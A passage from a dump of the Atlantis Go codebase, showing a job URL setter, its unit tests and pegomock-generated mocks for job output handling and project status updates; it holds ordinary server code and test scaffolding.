\"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"initial commit\")\n\trunCmd(t, repoDir, \"git\", \"branch\", \"branch\")\n\treturn repoDir\n}\n"
  },
  {
    "path": "server/jobs/job_url_setter.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage jobs\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_project_job_url_generator.go ProjectJobURLGenerator\n\n// ProjectJobURLGenerator generates urls to view project's progress.\ntype ProjectJobURLGenerator interface {\n\tGenerateProjectJobURL(p command.ProjectContext) (string, error)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_project_status_updater.go ProjectStatusUpdater\n\ntype ProjectStatusUpdater interface {\n\t// UpdateProject sets the commit status for the project represented by\n\t// ctx.\n\tUpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error\n}\n\ntype JobURLSetter struct {\n\tprojectJobURLGenerator ProjectJobURLGenerator\n\tprojectStatusUpdater   ProjectStatusUpdater\n}\n\nfunc NewJobURLSetter(projectJobURLGenerator ProjectJobURLGenerator, projectStatusUpdater ProjectStatusUpdater) *JobURLSetter {\n\treturn &JobURLSetter{\n\t\tprojectJobURLGenerator: projectJobURLGenerator,\n\t\tprojectStatusUpdater:   projectStatusUpdater,\n\t}\n}\n\nfunc (j *JobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, result *command.ProjectCommandOutput) error {\n\turl, err := j.projectJobURLGenerator.GenerateProjectJobURL(ctx)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn j.projectStatusUpdater.UpdateProject(ctx, cmdName, status, url, result)\n}\n"
  },
  {
    "path": "server/jobs/job_url_setter_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage jobs_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t\"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestJobURLSetter(t *testing.T) {\n\tctx := createTestProjectCmdContext(t)\n\n\tt.Run(\"update project status with project jobs url\", func(t *testing.T) {\n\t\tRegisterMockTestingT(t)\n\t\tprojectStatusUpdater := mocks.NewMockProjectStatusUpdater()\n\t\tprojectJobURLGenerator := mocks.NewMockProjectJobURLGenerator()\n\t\turl := \"url-to-project-jobs\"\n\t\tjobURLSetter := jobs.NewJobURLSetter(projectJobURLGenerator, projectStatusUpdater)\n\t\tresult := &command.ProjectCommandOutput{}\n\n\t\tWhen(projectJobURLGenerator.GenerateProjectJobURL(Eq[command.ProjectContext](ctx))).ThenReturn(url, nil)\n\t\tWhen(projectStatusUpdater.UpdateProject(ctx, command.Plan, models.PendingCommitStatus, url, nil)).ThenReturn(nil)\n\t\terr := jobURLSetter.SetJobURLWithStatus(ctx, command.Plan, models.PendingCommitStatus, result)\n\t\tOk(t, err)\n\n\t\tprojectStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.PendingCommitStatus, \"url-to-project-jobs\", result)\n\t})\n\n\tt.Run(\"update project status with project jobs url error\", func(t *testing.T) {\n\t\tRegisterMockTestingT(t)\n\t\tprojectStatusUpdater := mocks.NewMockProjectStatusUpdater()\n\t\tprojectJobURLGenerator := mocks.NewMockProjectJobURLGenerator()\n\t\tjobURLSetter := jobs.NewJobURLSetter(projectJobURLGenerator, projectStatusUpdater)\n\n\t\tWhen(projectJobURLGenerator.GenerateProjectJobURL(Eq[command.ProjectContext](ctx))).ThenReturn(\"url-to-project-jobs\", errors.New(\"some error\"))\n\t\terr := jobURLSetter.SetJobURLWithStatus(ctx, command.Plan, models.PendingCommitStatus, nil)\n\t\tassert.Error(t, err)\n\t})\n}\n"
  },
  {
    "path": "server/jobs/mocks/mock_project_command_output_handler.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectCommandOutputHandler)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tjobs \"github.com/runatlantis/atlantis/server/jobs\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockProjectCommandOutputHandler struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockProjectCommandOutputHandler(options ...pegomock.Option) *MockProjectCommandOutputHandler {\n\tmock := &MockProjectCommandOutputHandler{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockProjectCommandOutputHandler) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockProjectCommandOutputHandler) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockProjectCommandOutputHandler) CleanUp(pullInfo jobs.PullInfo) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{pullInfo}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"CleanUp\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockProjectCommandOutputHandler) Deregister(jobID string, receiver chan string) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{jobID, receiver}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Deregister\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockProjectCommandOutputHandler) GetPullToJobMapping() []jobs.PullInfoWithJobIDs {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullToJobMapping\", _params, []reflect.Type{reflect.TypeOf((*[]jobs.PullInfoWithJobIDs)(nil)).Elem()})\n\tvar _ret0 []jobs.PullInfoWithJobIDs\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]jobs.PullInfoWithJobIDs)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandOutputHandler) Handle() {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Handle\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockProjectCommandOutputHandler) IsKeyExists(key string) bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{key}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"IsKeyExists\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandOutputHandler) Register(jobID string, receiver chan string) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{jobID, receiver}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Register\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{ctx, msg, operationComplete}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Send\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().\")\n\t}\n\t_params := []pegomock.Param{ctx, msg, operationComplete}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"SendWorkflowHook\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockProjectCommandOutputHandler) VerifyWasCalledOnce() *VerifierMockProjectCommandOutputHandler {\n\treturn &VerifierMockProjectCommandOutputHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockProjectCommandOutputHandler) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandOutputHandler {\n\treturn &VerifierMockProjectCommandOutputHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockProjectCommandOutputHandler) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandOutputHandler {\n\treturn &VerifierMockProjectCommandOutputHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockProjectCommandOutputHandler) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandOutputHandler {\n\treturn &VerifierMockProjectCommandOutputHandler{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockProjectCommandOutputHandler struct {\n\tmock                   *MockProjectCommandOutputHandler\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) CleanUp(pullInfo jobs.PullInfo) *MockProjectCommandOutputHandler_CleanUp_OngoingVerification {\n\t_params := []pegomock.Param{pullInfo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"CleanUp\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_CleanUp_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_CleanUp_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_CleanUp_OngoingVerification) GetCapturedArguments() jobs.PullInfo {\n\tpullInfo := c.GetAllCapturedArguments()\n\treturn pullInfo[len(pullInfo)-1]\n}\n\nfunc (c *MockProjectCommandOutputHandler_CleanUp_OngoingVerification) GetAllCapturedArguments() (_param0 []jobs.PullInfo) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]jobs.PullInfo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(jobs.PullInfo)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) Deregister(jobID string, receiver chan string) *MockProjectCommandOutputHandler_Deregister_OngoingVerification {\n\t_params := []pegomock.Param{jobID, receiver}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Deregister\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_Deregister_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_Deregister_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_Deregister_OngoingVerification) GetCapturedArguments() (string, chan string) {\n\tjobID, receiver := c.GetAllCapturedArguments()\n\treturn jobID[len(jobID)-1], receiver[len(receiver)-1]\n}\n\nfunc (c *MockProjectCommandOutputHandler_Deregister_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []chan string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]chan string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(chan string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) GetPullToJobMapping() *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullToJobMapping\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) Handle() *MockProjectCommandOutputHandler_Handle_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Handle\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_Handle_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_Handle_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_Handle_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockProjectCommandOutputHandler_Handle_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) IsKeyExists(key string) *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification {\n\t_params := []pegomock.Param{key}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"IsKeyExists\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification) GetCapturedArguments() string {\n\tkey := c.GetAllCapturedArguments()\n\treturn key[len(key)-1]\n}\n\nfunc (c *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) Register(jobID string, receiver chan string) *MockProjectCommandOutputHandler_Register_OngoingVerification {\n\t_params := []pegomock.Param{jobID, receiver}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Register\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_Register_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_Register_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_Register_OngoingVerification) GetCapturedArguments() (string, chan string) {\n\tjobID, receiver := c.GetAllCapturedArguments()\n\treturn jobID[len(jobID)-1], receiver[len(receiver)-1]\n}\n\nfunc (c *MockProjectCommandOutputHandler_Register_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []chan string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]chan string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(chan string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) *MockProjectCommandOutputHandler_Send_OngoingVerification {\n\t_params := []pegomock.Param{ctx, msg, operationComplete}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Send\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_Send_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_Send_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, bool) {\n\tctx, msg, operationComplete := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1]\n}\n\nfunc (c *MockProjectCommandOutputHandler_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []bool) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]bool, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(bool)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification {\n\t_params := []pegomock.Param{ctx, msg, operationComplete}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"SendWorkflowHook\", _params, verifier.timeout)\n\treturn &MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification struct {\n\tmock              *MockProjectCommandOutputHandler\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, bool) {\n\tctx, msg, operationComplete := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1]\n}\n\nfunc (c *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []bool) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.WorkflowHookCommandContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]bool, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(bool)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/jobs/mocks/mock_project_job_url_generator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectJobURLGenerator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockProjectJobURLGenerator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockProjectJobURLGenerator(options ...pegomock.Option) *MockProjectJobURLGenerator {\n\tmock := &MockProjectJobURLGenerator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockProjectJobURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockProjectJobURLGenerator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockProjectJobURLGenerator) GenerateProjectJobURL(p command.ProjectContext) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectJobURLGenerator().\")\n\t}\n\t_params := []pegomock.Param{p}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GenerateProjectJobURL\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectJobURLGenerator) VerifyWasCalledOnce() *VerifierMockProjectJobURLGenerator {\n\treturn &VerifierMockProjectJobURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockProjectJobURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectJobURLGenerator {\n\treturn &VerifierMockProjectJobURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockProjectJobURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectJobURLGenerator {\n\treturn &VerifierMockProjectJobURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockProjectJobURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectJobURLGenerator {\n\treturn &VerifierMockProjectJobURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockProjectJobURLGenerator struct {\n\tmock                   *MockProjectJobURLGenerator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockProjectJobURLGenerator) GenerateProjectJobURL(p command.ProjectContext) *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification {\n\t_params := []pegomock.Param{p}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GenerateProjectJobURL\", _params, verifier.timeout)\n\treturn &MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification struct {\n\tmock              *MockProjectJobURLGenerator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tp := c.GetAllCapturedArguments()\n\treturn p[len(p)-1]\n}\n\nfunc (c *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/jobs/mocks/mock_project_status_updater.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectStatusUpdater)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockProjectStatusUpdater struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockProjectStatusUpdater(options ...pegomock.Option) *MockProjectStatusUpdater {\n\tmock := &MockProjectStatusUpdater{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockProjectStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockProjectStatusUpdater) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockProjectStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectStatusUpdater().\")\n\t}\n\t_params := []pegomock.Param{ctx, cmdName, status, url, res}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdateProject\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectStatusUpdater) VerifyWasCalledOnce() *VerifierMockProjectStatusUpdater {\n\treturn &VerifierMockProjectStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockProjectStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectStatusUpdater {\n\treturn &VerifierMockProjectStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockProjectStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectStatusUpdater {\n\treturn &VerifierMockProjectStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockProjectStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectStatusUpdater {\n\treturn &VerifierMockProjectStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockProjectStatusUpdater 